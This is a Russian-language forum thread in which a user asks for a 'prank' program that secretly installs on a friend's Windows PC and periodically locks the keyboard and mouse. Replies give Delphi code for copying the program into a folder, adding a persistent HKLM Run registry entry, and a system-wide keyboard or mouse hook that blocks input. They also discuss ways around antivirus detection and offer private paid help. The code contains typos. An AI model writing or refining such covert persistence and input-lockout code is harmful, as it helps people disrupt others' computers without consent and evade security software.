Программа розыгрыш

[beygul]

Я хочу сделать программу рзырыш - разыграть своего друго, который очень помешан на том, чтобы его компьютер был без вирусов и вообще не глючил... Я хотел бы сам сделать такую программу - которая неопытному пользователю покажется страшнейшим вирусом... Замысел таков: сделать прогу которая после установки - запускается автоматически при запуске WINDOWS... поставить своего рода таймер - который каждые пять минут будет блокировать на две минуты мышь и клавиатуру... или что то в этом роде... Добрые люди програмисты! Помогите с этим делом!!!

[kiloz]

Копирование себя в заданную папку

procedure CopyMy(PathNew: Strign); //Пример: PathNew = ''
begin
  CopyFile(PChar(ParamStr(0)), PChar(PathNew+ExtractFileName(ParamStr(0))), True);
end;

Помещаем программу в автозапуск:

uses
  Registry;

procedure ProgAutorun(PathProg: String); //Пример: PathProg = 'C:\Application.exe'
var h: TRegistry;
begin
  h := TRegistry.Create;
  with h do begin
    RootKey := HKEY_LOCAL_MACHINE;
    OpenKey('\Software\Microsoft\Windows\CurrentVersion\Run', true);
    WriteString('MyAutorun, PathProg);
    CloseKey;
    Free;
  end;
end;

[maladoy]

Включение и выключение клавиатуры
--------------------------------------------------------------------------------





// используемые переменные
var
Dummy: integer = 0;
OldKbHook: HHook = 0;

implementation

function KbHook(code: Integer; wparam: Word; lparam: LongInt): LongInt; stdcall;
begin
if code < 0 then
Result := CallNextHookEx(oldKbHook, code, wparam, lparam)
else
Result := 1;
end;

// включение клавы

procedure TForm1.KeyBoardOn(Sender: TObject);
begin
if OldKbHook <> 0 then
begin
UnHookWindowshookEx(OldKbHook);
OldKbHook := 0;
end;
SystemParametersInfo(SPI_SETFASTTAS KSWITCH, 0, 0, 0);
SystemParametersInfo(SPI_SCREENSAVE RRUNNING, 0, 0, 0);
end;

// выключение клавы

procedure TForm1.KeyBoardOff(Sender: TObject);
begin
SystemParametersInfo(SPI_SETFASTTAS KSWITCH, 1, @Dummy, 0);
SystemParametersInfo(SPI_SCREENSAVE RRUNNING, 1, @Dummy, 0);
OldKbHook := SetWindowsHookEx(WH_KEYBOARD, @KbHook, HInstance, 0);
end;




Некоторые замечания по поводу этих процедур:

Если программу упаковать UPX-ом - клава не будет отключаться (причин не знаю).
В ДОС-окне клава будет работать (FAR, VC и т.п.)
Состояния клавиш NumLock,CapsLock,ScrollLock не отслеживаются и могут быть изменены.
Возможно EnableHardwareKeyboard более эффективен и прост, но я тоже, к сожалению, не знаю, как им пользоваться.
Если вместо WH_KEYBOARD поставить WH_MOUSE, то можно выключать таким образом мышь :-)
взято из делфиворлд

[Terran]

kiloz, ваш вариант конечно хороший, но эта связочка как самокопирование и пропись в автозагрузку будет палиться антивирусами. На счёт всех антивирусов не знаю, но Касперским точно палится.

поставить своего рода таймер - который каждые пять минут будет блокировать на две минуты мышь и клавиатуру...

beygul, гляньте тут: http://programmersforum.ru/showthread.php?t=20216
Там я приводил маленький и эффективный кодеГ по блокировке клавиатуры и мыши.

[0nni]

мышь можно через ClipCursor() красиво "заблокировать"
+ И SetCapture()

[kiloz]

kiloz, ваш вариант конечно хороший, но эта связочка как самокопирование и пропись в автозагрузку будет палиться антивирусами. На счёт всех антивирусов не знаю, но Касперским точно палится.

Не спорю, но не вирус же пишется...
Если программа шутка, то предполагается, что 'шутник' осуществляет запуск первый запуск на мошине 'жертвы' или на худой конец передает программу, которая не запускается с exe, т.к. лежит не в заданной папке и только копирует себя куда надо и оттуда автозамускком уже работает.
Но вы правы Terran, если есть антивирь нужен другой способ поместиться в автозапуск, похитрее... Или выполнить свои каварные действоя с задержкой, в прочем зачем я объясняю - и так ясно)))

[beygul]

слушйте! это всё вообще на каком языке прагромирование пишется? а то я только делфи использую...

[beygul]

и кто нить может серьёзно помочь с этой работой? могу заплатить даже... мне просто друга до безумия разыграть охото...

[Terran]

слушйте! это всё вообще на каком языке прагромирование пишется? а то я только делфи использую...

Это всё пишется на Delphi. Вполне могу помочь.

[beygul]

Terran, А скажи свою аську пожалуйста - поможешь мне? если есть время конечно... а?